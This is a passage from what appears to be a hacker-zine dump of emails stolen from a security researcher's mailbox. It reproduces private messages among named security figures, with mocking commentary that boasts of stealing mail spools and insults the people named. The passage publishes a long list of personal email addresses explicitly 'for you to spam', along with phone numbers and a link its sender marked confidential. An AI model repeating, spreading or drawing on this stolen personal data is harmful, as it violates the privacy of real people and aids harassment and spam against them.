Flair vs. Shawn Michaels". I very much disliked how the 12408 Matasano/Joanna thing was artificially 12409 whipped up last year, principally to generate press hits for both 12410 parties. I will have no part in 12411 something like this. 12412 * I am also deeply opposed of having this discussion happen at a for-pay 12413 event with reporters present, 12414 who will then put a very different spin on it. This just serves to make 12415 CMP and the media rich, 12416 while running counter to the original culture of discussion in our 12417 community (e.g. mailing lists). 12418 12419 >Syngress published me when I was nothing but an intern at Cisco. They 12420 needed this book finished, 12421 >and as a personal favor, I made that happen -- watched over the guys 12422 who knew IDA Pro (I know 12423 >nothing of it!), poked them every 24 hours, got it written. My name 12424 wasn't supposed to be on 12425 >the cover. I don't even know what happened with the bio. This all 12426 mortified me even before I knew 12427 >of the quality issues. 12428 12429 Ouch. That's the way things go :-/ 12430 12431 Good luck with * ! 12432 12433 Cheers, 12434 Halvar 12435 12436 12437 // Things heating up between prominent whitehats Halvar Flake and Dan Kaminsky! 12438 12439 12440 >Mostly a mention that -- heh, lets reserve judgement until we see the 12441 talk -- that'd be fine. 12442 12443 I will write sth longer if you don't mind, and run it by you beforehand. 12444 I am a bit annoyed 12445 by the fact that what used to be a nice discussion on a mailing list is 12446 now easily hyped by 12447 the press into "A says X but B says Y ! Fight !", so I will have a short 12448 comment on it. 12449 12450 >OK, you win, completely. I could not agree with you more. I do look 12451 forward to your opinion after the talk, but running something for the 12452 press is the very >definition of counterproductive. It's just not what 12453 our community needs. 12454 12455 :-) 12456 12457 >Bleagh. Yeah. 12458 12459 I agree on the Bleagh. The exam went horrible, to the point that I asked 12460 the examiners about 2/3rds through 12461 wether it makes sense to continue. I still passed, but holy fuck. 12462 12463 >> Good luck with * ! 12464 >> 12465 >> 12466 > Thanks! 12467 >> Cheers, 12468 >> Halvar 12469 >> 12470 > 12471 12472 12473 On July 22nd, to Christopher Davis, chris@defintel.com: 12474 12475 Dan Kaminsky wrote: 12476 > I could use help getting people on the record supporting me. I have 12477 > about 48 hours until the security community eats me alive for thinking 12478 > the bug was lame, because you know, they still don't get it. 12479 >=20 12480 > Halvar and I were going back and forth on email. You have to remember 12481 > he's a kid, an insanely bright kid, but just a kid whose first post on 12482 > the subject was that everyone should just assume their gateway is owned= 12483 12484 > and use SSL. I simply feel sorry for Halvar, at worst. 12485 >=20 12486 > Ptacek is another story. Think for a moment what it means that somebod= 12487 y 12488 > who is not Ptacek was able to leak anything. 12489 >=20 12490 > --Dan 12491 >=20 12492 > Christopher Davis wrote: 12493 >> OK this sucks. I used think halvar was cool. Now I think he is a DICK.= 12494 12495 /* So some guy emails you to kiss ass and diss Halvar, and you respond asking 12496 * for his help, and then diss Halvar yourself? 12497 * 12498 * After this Dan dissed Halvar to anybody who brought him up. Dan has this 12499 * trend of dissing people more talented than him, including Halvar, Sotirov, and 12500 * Dino. He is most cozy with people just as untalented as himself. Don't need to 12501 * name names there, the crowd is obvious. 12502 * 12503 * By the way, here's a nice list of whitehat emails for you to spam. Hard to 12504 * miss, with Dragos emailing them all so often: */ 12505 12506 12507 From: Dragos Ruiu <dr@kyx.net> 12508 To: Dragos Ruiu <dr@dursec.com>, rgula@tenablesecurity.com, 12509 roesch@sourcefire.com, fygrave@o0o.nu, rfp@wiretrip.net, 12510 aleph1@securityfocus.com, jason.dorie@blackboxgames.com, 12511 Fyodor <fyodor@insecure.org>, spikeman@spikeman.net, 12512 Lance Spitzner <lance@spitzner.net>, phillip.ibis@blackboxgames.com, 12513 priest@sfu.ca, hdm@digitaloffense.net, 12514 Nicolas FISCHBACH <nico@securite.org>, kaneda@securite.org, 12515 andy@dragonfly.demon.co.uk, ktwo@ktwo.ca, ajarman@timeindustrial.com, 12516 zindelak@telus.net, jeff@snort.org, smkoen@hotmail.com, 12517 newspixie@hotmail.com, Will Whittaker <mock@obscurity.org>, 12518 tiffkary@hotmail.com, kmx@egatobas.org, hectorh@pobox.com, 12519 emxlists@tstf.net, vanja@vanja.com, dje@bht.com, dugsong@monkey.org, 12520 lyndon@orthanc.ca, mts@off.off.to, paudley@blackcat.ca, 12521 robert_david_graham@yahoo.com, Peter Wong <peter_wong@pmc-sierra.com>, 12522 dfreelove@rogers.com, jay@intelguardians.com, phil@ccc-ltd.com, 12523 jed@pickel.net, gshipley@neohapsis.com, deraison@cvs.nessus.org, 12524 Theo de Raadt <deraadt@cvs.openbsd.org>, dittrich@u.washington.edu, 12525 ben_greenbaum@securityfocus.com, nbortnak@moro.us, 12526 Chris Kuethe <chris.kuethe@gmail.com>, bob.beck@ualberta.ca, 12527 natasha@snort.org, arr@watson.org, jfrank@b-ap.com, kkuehl@cisco.com, 12528 bmc@shmoo.com, talisker@networkintrusion.co.uk, halvar@gmx.de, 12529 richard@idealrealms.com, jennifer@granick.com, 12530 alfredhuger@winterhope.com, Solar Designer <solar@openwall.com>, 12531 ivan.arce@corest.com, rkl@blackops.org, cmg@uab.edu, 12532 jedhaile@gmail.com, frank@ccc.de, dave@mu.org, jwilkins@bitland.net, 12533 kf@gnosys.biz, Jordan Ritter <jpr5@darkridge.com>, 12534 matthew_conover@symantec.com, thegnome@nmrc.org, ofir@sys-security.com, 12535 provos@umich.edu, silvio@big.net.au, mike_schiffman@hotmail.com, 12536 niness@devilness.org, of@securityfocus.com, alan@silent5.com, 12537 mark@stateful.net, weingart@tepid.org, kyxspam@loder.us, 12538 Todd.Miller@courtesan.com, hlein@progressive-comp.com, 12539 neel_mehta@iss.com, shaun@securereality.com.au, 12540 "Felix 'FX' Lindner" <fx@recurity-labs.com>, thegrugq@gmail.com, 12541 jose@monkey.org, dan@doxpara.com, caddis@ruxcon.org.au, 12542 mudge@uidzero.org, Gerardo Richarte <gera@corest.com>, 12543 mike@datanerds.net, mike@digitalguardian.net, 12544 Robert Lemos <mail@robertlemos.com>, Ejovi Nuwere <ejovi@ejovi.net>, 12545 watcher@vigilans.net, tobyhush@hushmail.com, arrigo@alchemistowl.org, 12546 oudot@rstack.org, f.raynal@miscmag.com, 12547 Philippe Biondi <phil@secdev.org>, Cedric Blancher <sid@rstack.org>, 12548 gary@proventsure.com, kostya@immunitysec.com, 12549 ol at uncon <ol@uncon.org>, itojun@itojun.org, rakan@well.com, 12550 ETOH@jp.ibm.com, joewee@monkey.org, n.brulez@free.fr, djm@intrusec.com, 12551 george.kurtz@foundstone.com, paulwatson@paulwatson.org, 12552 danny@arbor.net, keith@netwerked.net, craig.balding@gecapital.com, 12553 dave@immunitysec.com, dmaynor@gmail.com, rforno@infowarrior.org, 12554 kevin@labmistress.com, Ryan Mcbride <mcbride@openbsd.org>, 12555 Josh <josh.pennell@ioactive.com>, jcouzens@6o4.ca, 12556 athomas@deltacable.com, RSalgado@att.net, 12557 Christopher Owen <chris.owen@consault.com>, yukai@eeye.com, 12558 Joel_Carter@bcit.ca, Joost.Houwen@accenturebizservicesbc.com, 12559 ws@dec.net, schneier@counterpane.com, mark@4mtu.net, 12560 arno@ed-diamond.com, anton@chuvakin.org, takahashi.akiko@scs.co.jp, 12561 gaus@cisco.com, job@itsx.com, bmccarty@apu.edu, eric_byres@bcit.ca, 12562 c.uchida@ie.sumitomocorp.co.jp, kjc@iijlab.net, djm@cambia.com, 12563 adam@philtered.net, kasahara.ken@scs.co.jp, 12564 Dino Dai Zovi <ddz@theta44.org>, dmckay@gmail.com, ebalas@iu.edu, 12565 thorsten.holz@mmweg.rwth-aachen.de, alexbling@gmail.com, 12566 barnaby.jack@gmail.com, cesar@appsecinc.com, gael@melix.net, 12567 spoonm@gmail.com, mschiffm@cisco.com, fernando@gont.com.ar, 12568 npouvesle@tenablesecurity.com, zoe.g@cansecwest.com, 12569 jkouns@infosecmba.net, jericho@attrition.org, mail@mtrueman.com, 12570 rob <rob@robmann.org>, yuzu@yuzuko.net, justine.aitel@immunitysec.com, 12571 javier@corest.com, sinan.eren@immunitysec.com, nicolas@immunitysec.com, 12572 mwatchinski@sourcefire.com, sunshine@pacsec.jp, 12573 saito@byakuya-net.co.jp, chwieser@ee.oulu.fi, lcars@gentoo.org, 12574 vh@thc.org, ilja@netric.org, hiroshi_shinotsuka@symantec.com, 12575 cjordan@endeavorsystems.net, Sowhat <isowhat@gmail.com>, 12576 mdornseif@mac.com, josh.ryder@ualberta.ca, glovet@fortinet.com, 12577 marc_bevand@rapid7.com, zoe.g@eusecwest.com, scomeau@eusecwest.com, 12578 mock@eusecwest.com, martin.herfurt@trifinite.org, marcel@holtmann.org, 12579 tim.hurman@pentest.co.uk, deleskie@gmail.com, yuz@p0c.net, 12580 raffy@raffy.ch, andy.davis@irmplc.com, 12581 frederic.raynal@security-labs.org, shreeraj@net-square.com, 12582 aquynh@gmail.com, Carlos Sarraute <carlos@coresecurity.com>, 12583 jburroni@coresecurity.com, michael.boman@gmail.com, 12584 Andrea Barisani <andrea@inversepath.com>, andrewcu@microsoft.com, 12585 cat@reptiles.org, Chris Ulliott <chris@ulliott.com>, 12586 nikoteen@zetetique.info, ofir.arkin@insightix.com, bnagy@eeye.com, 12587 jim.deleskie@vsnlinternational.com, nick.murison@foundstone.com, 12588 Josh Ryder <josh.ryder@gmail.com>, crispin@crispincowan.com, 12589 steve@buyukada.co.uk, dbugman@dbugman.com, sascha@rommelfangen.de, 12590 fred <fred@thinkingsecure.com>, dendler@tippingpoint.com, 12591 davidendler@hotmail.com, mreavey@microsoft.com, terri_forslof@3com.com, 12592 Alexander Sotirov <alex@sotirov.net>, alex@isecpartners.com, 12593 scott@isecpartners.com, thalheim@informatik.hu-berlin.de, 12594 aempirei@the-mathclub.net, loic.duflot@sgdn.pm.gouv.fr, 12595 hscholz@raisdorf.net, hdm@metasploit.com, Dragos Ruiu <dr@kyx.net>, 12596 adam.laurie@thebunker.net, dcox@breakingpointsystems.com, 12597 tqbf@matasano.com, joanna@invisiblethings.com, change@dmzs.com, 12598 doug@hcsw.org, erik@specialopssecurity.com, marnone@fcw.com, 12599 hfortier@recon.cx, elisa@jasinska.de, raoul.chiesa@mediaservice.net, 12600 d.sacher@gmail.com, niels.bakker@ams-ix.net, 12601 Jhayne <bloodkrystal@hotmail.com>, riojh@mac.com, 12602 Sarah Blankinship <sarahbl@microsoft.com>, 12603 andrewcu@windows.microsoft.com, 12604 Marc Schoenefeld <marc.schoenefeld@gmx.org>, mconover@gmail.com, 12605 starbug@berlin.ccc.de, sandipchaudhari@gmail.com, 12606 philippe.lagadec@laposte.net, 12607 Ariel Waissbein <ariel.waissbein@coresecurity.com>, 12608 arnaud.ebalard@eads.net, guedou@hongo.wide.ad.jp, 12609 johns@informatik.uni-hamburg.de, chenym@gmail.com, 12610 ychen@foundstone.com, yuriko@pacsec.jp, jesssa@pacsec.jp, 12611 hilary@pacsec.jp, helen@pacsec.jp, sono@pacsec.jp, 12612 Ryo Hirosawa <ryo@pacsec.jp>, nrb@pacsec.jp, aboladeg@microsoft.com, 12613 adamo@microsoft.com, jwill@microsoft.com, takumio@microsoft.com, 12614 Youji Okuten <youjio@microsoft.com>, ishikawa.mitsuharu@scs.co.jp, 12615 kanbe.tsuyoshi@scs.co.jp, iwai@lac.co.jp, 12616 katsuya.furukawa@microsoft.com, trombik@gentoo.gr.jp, 12617 rwood@coverity.com, alex.lucas@microsoft.com, 12618 Mark Dowd <mark.dowd@gmail.com>, azanatta@spiritcommunications.ca, 12619 Dean Turner <dean_turner@symantec.com>, 12620 Oliver Friedrichs <oliver_friedrichs@symantec.com>, taviso@google.com, 12621 Steve Manzuik <smanzuik@juniper.net>, cjaue@atic.ca, 12622 mountainbarn@gmail.com, vrc_founder@hotmail.com, baiyilang@sina.com, 12623 calvin.wong@intel.com, lmiras@gmail.com, dave@cansecwest.com, 12624 richard.chadderton@hsbc.ca, "A. R." <r00t@northernfortress.net>, 12625 ggalford@microsoft.com, njam@sandia.gov, christian.wieser@oulu.fi, 12626 dtrammell@dustintrammell.com, druid@caughq.org, 12627 dtrammell@tippingpoint.com, Jim.Deleskie@vsnlinternational.com, 12628 matteo.meucci@owasp.org, matteo.meucci@gmail.com, 12629 David Watson <david@honeynet.org.uk>, markruss@microsoft.com, 12630 Saumil Shah <saumil@net-square.com>, sweetlie@etri.re.kr, 12631 richardg@esentire.com, eldons@esentire.com, tvidas@nucia.unomaha.edu, 12632 danbia@infis.units.it, msutton@spidynamics.com, 12633 roelof.temmingh@gmail.com, V Anil Kumar <anil@cmmacs.ernet.in>, 12634 tvidas@gmail.com, michael.geide@us-cert.gov, troglocan@gmail.com, 12635 joshua.lackey@microsoft.com, Aaron Portnoy <aportnoy@tippingpoint.com>, 12636 heavywizardry@gmail.com, nathan.green@ge.com, 12637 El Nahual <nahual@0hday.org>, Danny McPherson <danny@tcb.net>, 12638 aavivi@juniper.net, Gadi Evron <ge@linuxbox.org>, 12639 jim_hoagland@symantec.com, mdfranz@gmail.com, pavel_haintz@shaw.ca, 12640 felix@fefe.de, julia@devcon.net, jeedi@ccc.de, david@scanit.net, 12641 job@riscure.com, renaudb@radware.com, carrier@digitalevidence.org, 12642 frank@leviathansecurity.com, infosecdr@hoagland.org, 12643 William Knowles <wk@c4i.org>, franck.veysset@orange-ftgroup.com, 12644 nicolas.vivant@free.fr, jwalker@tgmp6.hbs.edu, lcamtuf@dione.ids.pl, 12645 Peter Evans <peter@ixp.jp>, robert_mcmillan@idg.com, 12646 mike@leviathansecurity.com, Michael Eddington <meddington@gmail.com>, 12647 hiroshi.kawaguchi@lac.co.jp, mh@baseline-security.de, 12648 haradats@nttdata.co.jp, itojun.hagino@gmail.com, arice@websense.com, 12649 nruff@security-labs.org, fruss@coresecurity.com, 12650 diegobt@coresecurity.com, nicolas.waisman@immunityinc.com, 12651 Colin_Delaney@mcafee.com, stephen@blackroses.com, fabienne@fabienne.us, 12652 rich cannings <rcannings@gmail.com>, nohl@virginia.edu, jmcd@pobox.com, 12653 rhensing@microsoft.com, Oded Horovitz <odedh@vmware.com>, 12654 Thierry Zoller <Thierry.Zoller@nruns.com>, sergio.alvarez@nruns.com, 12655 SunBing <taoshaixiaoyao@hotmail.com>, 12656 Sebastien Tricaud <stricaud@inl.fr>, p.chifflier@inl.fr, 12657 Dan <dhubbard@websense.com>, schenette@websense.com, 12658 olleB@toolcrypt.org, Charles Miller <cmiller@securityevaluators.com>, 12659 Adam Stein <astein@musecurity.com>, dan@jwsecure.com, 12660 my.self@erichacker.com, andres.riancho@gmail.com, slarson@strozllc.com, 12661 Cappella <cappella@mail.com>, jf <jf@ownco.net>, rmarty@splunk.com, 12662 Hernan Ochoa <hochoa@coresecurity.com>, 12663 Harri Hursti <hursti@hursti.net>, dpalacio@purdue.edu, 12664 daniel@immunityinc.com, Aaron_Portnoy@3com.com, 12665 arizvisa@tippingpoint.com, Hendrik Scholz <hs@123.org>, 12666 Julien Vanegue <jfv@cesar.org.br>, 12667 Jose Orlicki <jorlicki@coresecurity.com>, 12668 Thomas Lim <thomas@coseinc.com> 12669 12670 /* God damn that's a lot of names we recognize. That's the center of the 12671 * whitehat world. In the undergrond we stay on top of these guys by stealing 12672 * spools of people like Dan Kaminsky. We follow more exclusive mailing lists too, 12673 * but all of them are pretty worthless anyways. Kids, know your history: read 12674 * ~el8 and h0no to see whitehats exposed via their spools. 12675 * 12676 * I bet lots of those are owned. 12677 * 12678 * :-D 12679 * 12680 * There's this little thing too, it's funny when whitehats try to tier */ 12681 12682 From: Ivan Arce <ivan.arce@coresecurity.com> 12683 Organization: CORE Security Technologies 12684 X-Accept-Language: en-us, en 12685 MIME-Version: 1.0 12686 To: Aviram Jenik <aviram@beyondsecurity.com> 12687 CC: "Steven M. Christey" <coley@linus.mitre.org>, Gadi Evron <ge@linuxbox.org>, 12688 "Steven M. Christey" <coley@mitre.org>, 12689 Noam Rathaus <noamr@beyondsecurity.com>, Michael Lynn <mtlynn@mac.com>, 12690 Matthew Murphy <mattmurphy@kc.rr.com>, Halvar Flake <halvar@gmx.de>, 12691 Matthew Franz <franz@digitalbond.com>, 12692 John Cartwright <johnc@grok.org.uk>, Fyodor <fyodor@insecure.org>, 12693 mudge@uidzero.org, Dan Kaminsky <dan@doxpara.com>, 12694 raven@oneeyedcrow.net, Ilfak Guilfanov <ig@datarescue.be>, 12695 Paul Vixie <vixie@vix.com>, Joe Stewart <jstewart@lurhq.com>, 12696 David Litchfield <davidl@ngssoftware.com>, 12697 Ivan Arce <iarce@coresecurity.com> 12698 Subject: Re: SRG: Vulnerability reporting service 12699 References: <43E41C15.8060007@linuxbox.org> <Pine.GSO.4.51.0602060157350.16000@cairo.mitre.org> <200602061728.34156.aviram@beyondsecurity.com> 12700 In-Reply-To: <200602061728.34156.aviram@beyondsecurity.com> 12701 Content-Type: text/plain; charset=ISO-8859-1 12702 Content-Transfer-Encoding: 7bit 12703 X-Spam-Checker-Version: SpamAssassin 3.0.4 (2005-06-05) on mail.pmjm.net 12704 X-Spam-Level: 12705 X-Spam-Status: No, score=-0.0 required=2.0 tests=SPF_HELO_PASS,SPF_PASS 12706 autolearn=failed version=3.0.4 12707 Content-Length: 7460 12708 Status: O 12709 X-Status: 12710 X-Keywords: 12711 X-UID: 869 12712 12713 Hi all, 12714 12715 Gadi, thanks for kick-starting this and for framing the discussion. 12716 12717 Although many of us know each other and are aware of what the others do, 12718 as a general rule I think I'd be good if we all introduce ourselves so 12719 we know who we are and how or why we ended up bound by Gadi's email. 12720 12721 Ok, so I'll start by introducing myself :) 12722 12723 I'm CTO of Core security Technologies and I've been working in the 12724 infosec field since the early 90s. I've been personally involved in the 12725 discovery and reporting process of every bug that Core discovered 12726 and/or reported since around 1994. So far, I have not actively 12727 participated in any of the various incarnations of the never ending 12728 'disclosure debate' that has been ranging since the spread of RTM worm 12729 (or possibly even before). Nonetheless I am intimately familiar with 12730 both the public and private details of the research and disclosure process. 12731 12732 Lately I've noticed that there is a marked trend towards controlling 12733 and/or regulating the mechanics of the security research process and one 12734 of its sub-processes, the disclosure process. This trend, actively 12735 pursued by a set of interested players, mainly big commercial software 12736 and security vendors, has reached a point were a specific (and I'd 12737 venture to say not unbiased) view of things is presented as the only 12738 legitimate way of conducting security research. Meanwhile the 12739 individuals and organzations that do the actual research and generate 12740 the raw material that is often subject to these raging debates said very 12741 little about the topic. 12742 12743 In my view, this was to be expected, as security 12744 researchers/practitioners are generally more focused on getting their 12745 hands dirty and *getting things done* rather than *talking about* 12746 how/when or why to do them. Nonetheless several individual researchers 12747 or research organization have presented their views on the topic but 12748 generally in a scattered and very fragmented manner that did not reflect 12749 the existence of a cohesive collective mindset with an alternative 12750 approach to the security research practice. However, I believe (actually 12751 I *know*) that a collective mindset does exist and that in fact it is 12752 one of the very specific things that fostered the development of the 12753 infosec community and particularly infosec industry for at least 15 12754 years. Security researchers have not yet expressed their opinion and 12755 presented their views in an organized manner and I believe it is time 12756 for them (us?) to do it. It is a necessary step if we want to continue 12757 fostering the evolution and maturity of the discipline rather than 12758 allowing it to fall into a renewed cycle of obscurantism. 12759 12760 Ok, but aside from the security research community diatribe and most 12761 importantly: As far as I know the end-user community has not (directly) 12762 expressed their opinion and has not provided guidance on how things 12763 should be done or what is the expected/desired outcome for the future 12764 evolution of security research and disclosure process. After all the 12765 end-user community is the one stakeholder with the most at risk, it is 12766 end-user organzations and individuals (not vendors nor researchers) that 12767 are affected by security bugs and ultimately reponsible for fixing them 12768 and so far they hear just one loud voice that allegedly explains how 12769 things should be done in the field. 12770 12771 I submit that if there is only one choice, that's the one users will 12772 adopt not because it is the right one but because it is the only one 12773 available. My intend is to foster the emergence of at least one more 12774 voice that can articulate and synthesize into understandable and 12775 plausibly adoptable end-user options the various forms of security 12776 research and disclosure processes that both fostered and fed from the 12777 infosec industry during the last 15 years. 12778 12779 I've expressed many of these thoughts to Aviram and a few others [1] 12780 during the past months and, gladly, I found out that (give or take a few 12781 things) we were all having similar thoughts and the intention to do 12782 something about it. 12783 12784 I guess that explains how I ended up in the TO: header of Gadi's 12785 original email. 12786 12787 12788 -ivan 12789 12790 [1] Besides internal discussion at Core, I talked about this topic with 12791 Tom Ptacek (tqbf@matasano.com) and Nate Lawson (nate@root.org). I think 12792 both of them would be interested in joining the list. 12793 12794 12795 .... etc etc 12796 12797 ~~~~~ 12798 12799 12800 // And just because every set of leaked mails needs one from Theo.. 12801 12802 12803 From deraadt@cvs.openbsd.org Sun Feb 24 15:58:30 2008 12804 Return-Path: <deraadt@cvs.openbsd.org> 12805 X-Spam-Checker-Version: SpamAssassin 3.1.5 (2006-08-29) on pmjm.com 12806 X-Spam-Level: 12807 X-Spam-Status: No, score=-1.2 required=2.0 tests=AWL,BAYES_00, 12808 DNS_FROM_RFC_ABUSE autolearn=no version=3.1.5 12809 Received: from cvs.openbsd.org (cvs.openbsd.org [199.185.137.3]) 12810 by pmjm.com (8.13.8/8.13.8) with ESMTP id m1ONwUBE016201 12811 for <dan@doxpara.com>; Sun, 24 Feb 2008 15:58:30 -0800 (PST) 12812 (envelope-from deraadt@cvs.openbsd.org) 12813 Received: from cvs.openbsd.org (localhost [127.0.0.1]) 12814 by cvs.openbsd.org (8.14.1/8.12.1) with ESMTP id m1ONx6gk031802 12815 for <dan@doxpara.com>; Sun, 24 Feb 2008 16:59:06 -0700 (MST) 12816 Message-Id: <200802242359.m1ONx6gk031802@cvs.openbsd.org> 12817 To: Dan Kaminsky <dan@doxpara.com> 12818 Subject: Re: DNS Client 12819 In-reply-to: Your message of "Sun, 24 Feb 2008 14:48:35 PST." 12820 <47C1F443.8030605@doxpara.com> 12821 Date: Sun, 24 Feb 2008 16:59:06 -0700 12822 From: Theo de Raadt <deraadt@cvs.openbsd.org> 12823 Status: RO 12824 X-Status: A 12825 X-Keywords: 12826 X-UID: 106100 12827 12828 > Gimme a call tomorrow (Monday) evening, if you get a chance. 12829 > +1-408-933-8195. Got a heads up for ya. 12830 12831 I'm swamped making a release. 12832 12833 No matter what happens, if this is anything about ID's it will hurt us 12834 less than it hurts the people who still believe in ID++, which is most 12835 of the vendors. 12836 12837 ~~~~~~ 12838 12839 12840 * mudge (mudge@uidzero.org) [060120 20:04]: 12841 > 12842 > Actually, this advisory is missing some important information. 12843 > bugtraq engaged in this prior to the "buy out". Security Focus 12844 > engaged in this practice as well where there were some advisories 12845 > that would go out only to the Security Focus paid private list and 12846 > not be forwarded to the public list to which they were posted. 12847 12848 Excuse me, but wtf are you talking about? No offense mudge, (well, no 12849 more than you just offended us), but maybe you should get back on the 12850 meds. 12851 12852 We never have delayed any message to Bugtraq so as to give our paying 12853 customers any advance notice. While there could have been situations where 12854 something may have gone out first to customers of our alerting service 12855 (e.g. an analyst find about the vuln through a medium other than bugtraq 12856 before it hits bugtraq), it was never a result of a moderator delaying 12857 a message for competitive advantage. 12858 12859 I find your comments particularly galling given that you were one of 12860 the few people we allowed to post to Bugtraq without going through 12861 moderation. 12862 12863 Maybe we should discuss some of the vulns @stake discovered that were 12864 never made public. Hmm? 12865 12866 -- 12867 Elias Levy 12868 Symantec 12869 12870 12871 //~~~~ Look at the state of secdev! 12872 12873 From: Mike Schiffman <mschiffm@cisco.com> 12874 Subject: Re: DNS deluge for x.p.ctrc.cc 12875 Date: Wed, 1 Mar 2006 12:52:18 -0800 12876 To: dan@doxpara.com 12877 X-Mailer: Apple Mail (2.746.2) 12878 X-Spam-Checker-Version: SpamAssassin 3.0.4 (2005-06-05) on mail.pmjm.net 12879 X-Spam-Level: 12880 X-Spam-Status: No, score=0.4 required=2.0 tests=DNS_FROM_RFC_ABUSE, 12881 SPF_HELO_PASS,SPF_PASS autolearn=no version=3.0.4 12882 Content-Length: 3118 12883 Status: RO 12884 X-Status: 12885 X-Keywords: 12886 X-UID: 1541 12887 12888 Hey dude, I'm finally working on endgame for my paper... I'm 12889 collating all of the DNS IPs, BIND version numbers, BIND 12890 vulnerabilities and CVSS scores. I'm translating into LAT/LONG using 12891 ipgeo. What software did you use to plot your stuff on those pretty 12892 globes? 12893 12894 -- 12895 Mike Schiffman, CISSP 12896 Audentis fortuna iuvat 12897 Cisco Systems, Inc Critical Infrastructure Assurance Group 12898 12899 12900 //~~~ Dan and Mike trade pictures ;p 12901 12902 12903 From: Mike Schiffman <mschiffm@cisco.com> 12904 Subject: DNS! 12905 Date: Thu, 20 Apr 2006 11:26:52 -0700 12906 X-Mailer: Apple Mail (2.746.3) 12907 X-Spam-Checker-Version: SpamAssassin 3.0.4 (2005-06-05) on mail.pmjm.net 12908 X-Spam-Level: 12909 X-Spam-Status: No, score=0.4 required=2.0 tests=AWL,DNS_FROM_RFC_ABUSE, 12910 SPF_HELO_PASS,SPF_PASS autolearn=no version=3.0.4 12911 Status: RO 12912 X-Status: 12913 X-Keywords: 12914 X-UID: 2845 12915 12916 hey dude... check out the slowest paper ever written that's still not 12917 done yet, and let's build a partiview mpeg of the globe! That's the 12918 one thing I lack. http://www.packetfactory.net/papers/DNS-2006 and 12919 PLEASE DONT GIVE OUT OR I WILL GET FIRED: http:// 12920 www.packetfactory.net/papers/DNS-2006/CIAG-ONLY/. Call me! 12921 415-572-6014... 12922 12923 12924 -- 12925 Mike Schiffman, CISSP 12926 Audentis fortuna iuvat 12927 Cisco Systems, Inc Critical Infrastructure Assurance Group 12928 12929 //~~~~~~ lol 12930 12931 12932 From: Mike Schiffman <mschiffm@cisco.com> 12933 Subject: hey 12934 Date: Tue, 2 May 2006 15:48:58 -0700 12935 To: Dan Kaminsky <dan@doxpara.com> 12936 X-Mailer: Apple Mail (2.749.3) 12937 X-Spam-Checker-Version: SpamAssassin 3.0.4 (2005-06-05) on mail.pmjm.net 12938 X-Spam-Level: 12939 X-Spam-Status: No, score=0.4 required=2.0 tests=AWL,DNS_FROM_RFC_ABUSE, 12940 SPF_HELO_PASS,SPF_PASS autolearn=no version=3.0.4 12941 Status: RO 12942 X-Status: A 12943 X-Keywords: 12944 X-UID: 3130 12945 12946 You still out there? Am I bugging you with my constant badgering for 12947 assistance in wrapping this paper up? :) 12948 12949 //~~~~~ I only hope you had better people to go to back in the day... 12950 12951 12952 From: Fyodor <fyodor@insecure.org> 12953 To: Dan Kaminsky <dan@doxpara.com> 12954 Subject: Re: yo 12955 Message-ID: <20081006090609.GJ6077@syn.lnxnet.net> 12956 References: <4896633E.1030402@doxpara.com> 12957 <20080804043740.GC3447@syn.lnxnet.net> <48968878.1000604@doxpara.com> 12958 <20080804050415.GA10530@syn.lnxnet.net> <48969021.9080007@doxpara.com 12959 > 12960 Mime-Version: 1.0 12961 Content-Type: text/plain; charset=utf-8 12962 Content-Disposition: inline 12963 Content-Transfer-Encoding: 8bit 12964 In-Reply-To: <48969021.9080007@doxpara.com> 12965 User-Agent: Mutt/1.5.9i 12966 X-UID: 122512 12967 Status: RO 12968 X-Keywords: $Label4 12969 Content-Length: 2477 12970 12971 Hi Dan. On your blog I noticed that you wrote: 12972 12973 > Now, there?s Robert E. Lee and Jack Louis with their TCP Denial of 12974 > Service attacks. Now, it?s a bit silly to assume Jack Louis doesn?t 12975 > know the history of TCP attacks, as it?s silly to assume I don?t know 12976 > the history of DNS attacks. (You?d be amazed how many people thought 12977 > I?d just reinvented the birthday attack.) Jack?s written more crazy 12978 > TCP code than you have, for all values of you including me and 12979 > possibly Fyodor. Do their attacks work, mostly as they?re saying? 12980 > Almost certainly. There?s dozens of weird corner cases in TCP where 12981 > resources and timers are allocated. It?s entirely feasible that at 12982 > least some of them have nasty effects on the system above and beyond 12983 > three way handshake flood. 12984 12985 How well do you know these fellows? I had been inclined to give them 12986 the benefit of the doubt too, but I'm not impressed that the few parts 12987 where they have divulged details have been so sketchy. For example, I 12988 just found their SEC-T slides on Sockstress and noted a number of 12989 glaring technical problems: 12990 12991 http://seclists.org/nmap-dev/2008/q4/0084.html 12992 If you click "next in thread" you can see Robert's response, which 12993 skipped over all the technical problems in their slides and resorted 12994 to answers like "those slides don't actually describe any of the 12995 vulnerabilities that we're alarmed about" and "we see no compelling 12996 reason to appease the internet security research community as a whole 12997 with full disclosure details." Sounds like a cop-out to me. 12998 12999 Also, their claim that there are no known workarounds or fixes is 13000 questionable. Even CERT-FI examined their research and reported that 13001 "based on our evaluation, the vulnerability can be mitigated by source 13002 address level filtering." In other words, we can deal with it the 13003 same way we deal with all the other non-spoofed DoS attacks on a daily 13004 basis. 13005 13006 Mark my words: I expect that for their presentation on the 17th, they 13007 will claim it is still too dangerous to give out details and spread 13008 more FUD instead. Even though they still have a tell-all talk 13009 description. 13010 13011 I do agree with you that they probably did find some DoS attacks you 13012 can perpetuate when you have hundreds or thousands of open TCP 13013 connections. In my experience, you don't have to try very hard to 13014 cause major DoS incidents that way. 13015 13016 Anyway, I'll stop ranting now :). I hope all is well with you and 13017 that you're having a great time in Japan! 13018 13019 Cheers, 13020 -F 13021 13022 From lance@spitzner.net Sat Sep 13 11:59:15 2008 13023 Return-Path: <lance@spitzner.net> 13024 X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on pmjm.com 13025 X-Spam-Level: 13026 X-Spam-Status: No, score=-1.0 required=2.0 13027 tests=BAYES_00,DNS_FROM_RFC_BOGUSMX, 13028 RDNS_DYNAMIC autolearn=no version=3.2.5 13029 Received: from www.honeytech.com (69-64-87-215.dedicated.abac.net 13030 [69.64.87.215]) 13031 by pmjm.com (8.14.2/8.14.2) with ESMTP id m8DIxFSs072264 13032 for <dan@doxpara.com>; Sat, 13 Sep 2008 11:59:15 -0700 (PDT) 13033 (envelope-from lance@spitzner.net) 13034 Received: from [192.168.1.235] (unknown [70.91.102.18]) 13035 by www.honeytech.com (Postfix) with ESMTP id 220011340123 13036 for <dan@doxpara.com>; Sat, 13 Sep 2008 13:58:43 -0500 (CDT) 13037 Message-Id: <8531C828-C315-4DD1-B558-BCB799AE5525@spitzner.net> 13038 From: Lance Spitzner <lance@spitzner.net> 13039 To: Dan Kaminsky <dan@doxpara.com> 13040 